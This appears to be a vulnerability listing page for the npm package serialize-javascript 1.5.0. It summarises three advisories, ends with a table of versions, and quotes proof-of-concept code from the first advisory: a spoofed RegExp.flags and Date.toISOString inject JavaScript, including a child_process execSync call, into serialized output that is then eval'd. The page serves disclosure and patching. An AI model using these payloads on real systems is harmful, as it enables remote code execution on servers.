NodeJS/serialize-javascript/1.5.0
Serialize JavaScript to a superset of JSON that includes regular expressions and functions.
https://www.npmjs.com/package/serialize-javascript
BSD-3-Clause
3 Security Vulnerabilities
Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()
- https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq
- https://nvd.nist.gov/vuln/detail/CVE-2020-7660
- https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9
- https://github.com/advisories/GHSA-hxcc-f52p-wc94
- https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
- https://github.com/advisories/GHSA-5c6j-r48x-rmvq
Impact
The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.
While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().
If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
Patches
The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
Cross-Site Scripting in serialize-javascript
Versions of serialize-javascript prior to 2.1.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize serialized regular expressions. This vulnerability does not affect Node.js applications.
Recommendation
Upgrade to version 2.1.1 or later.
Insecure serialization leading to RCE in serialize-javascript
serialize-javascript prior to 3.1.0 allows remote attackers to inject arbitrary code via the function deleteFunctions
within index.js
.
An object such as {"foo": /1"/, "bar": "a\"@__R-<UID>-0__@"} was serialized as {"foo": /1"/, "bar": "a\/1"/}, which allows an attacker to escape the bar key. This requires the attacker to control the values of both foo and bar and guess the value of <UID>. The UID has a keyspace of approximately 4 billion making it a realistic network attack.
29 Other Versions
| Version | License | Security | Released | |
|---|---|---|---|---|
| 7.0.4 | BSD-3-Clause | 2026-03-02 - 23:26 | 10 days | |
| 7.0.3 | BSD-3-Clause | 2026-02-27 - 14:38 | 13 days | |
| 7.0.2 | BSD-3-Clause | 1 | 2025-12-07 - 13:27 | 3 months |
| 7.0.1 | BSD-3-Clause | 1 | 2025-11-28 - 13:31 | 3 months |
| 7.0.0 | BSD-3-Clause | 1 | 2025-10-04 - 12:54 | 5 months |
| 6.0.2 | BSD-3-Clause | 1 | 2024-01-09 - 01:06 | about 2 years |
| 6.0.1 | BSD-3-Clause | 2 | 2023-01-15 - 14:34 | about 3 years |
| 6.0.0 | BSD-3-Clause | 2 | 2021-06-21 - 14:01 | over 4 years |
| 5.0.1 | BSD-3-Clause | 1 | 2020-09-10 - 12:53 | over 5 years |
| 5.0.0 | BSD-3-Clause | 1 | 2020-09-09 - 12:32 | over 5 years |
| 4.0.0 | BSD-3-Clause | 1 | 2020-06-08 - 13:40 | almost 6 years |
| 3.1.0 | BSD-3-Clause | 1 | 2020-05-28 - 11:37 | almost 6 years |
| 3.0.0 | BSD-3-Clause | 2 | 2020-02-16 - 13:39 | about 6 years |
| 2.1.2 | BSD-3-Clause | 2 | 2019-12-09 - 09:19 | over 6 years |
| 2.1.1 | BSD-3-Clause | 2 | 2019-12-05 - 09:40 | over 6 years |
| 2.1.0 | BSD-3-Clause | 3 | 2019-09-04 - 12:33 | over 6 years |
| 2.0.0 | BSD-3-Clause | 3 | 2019-09-04 - 12:09 | over 6 years |
| 1.9.1 | BSD-3-Clause | 3 | 2019-09-04 - 12:07 | over 6 years |
| 1.9.0 | BSD-3-Clause | 3 | 2019-08-29 - 12:37 | over 6 years |
| 1.8.0 | BSD-3-Clause | 3 | 2019-08-20 - 12:51 | over 6 years |
| 1.7.0 | BSD-3-Clause | 3 | 2019-04-16 - 12:19 | almost 7 years |
| 1.6.1 | BSD-3-Clause | 3 | 2018-12-28 - 07:34 | about 7 years |
| 1.6.0 | BSD-3-Clause | 3 | 2018-12-24 - 14:33 | about 7 years |
| 1.5.0 | BSD-3-Clause | 3 | 2018-04-18 - 00:08 | almost 8 years |
| 1.4.0 | BSD-3-Clause | 3 | 2017-07-15 - 12:46 | over 8 years |
| 1.3.0 | BSD-3-Clause | 3 | 2016-05-31 - 21:52 | almost 10 years |
| 1.2.0 | BSD-3-Clause | 3 | 2016-02-29 - 23:35 | about 10 years |
| 1.1.2 | BSD-3-Clause | 3 | 2015-09-09 - 16:59 | over 10 years |
| 1.0.0 | BSD | 3 | 2014-09-16 - 16:06 | over 11 years |
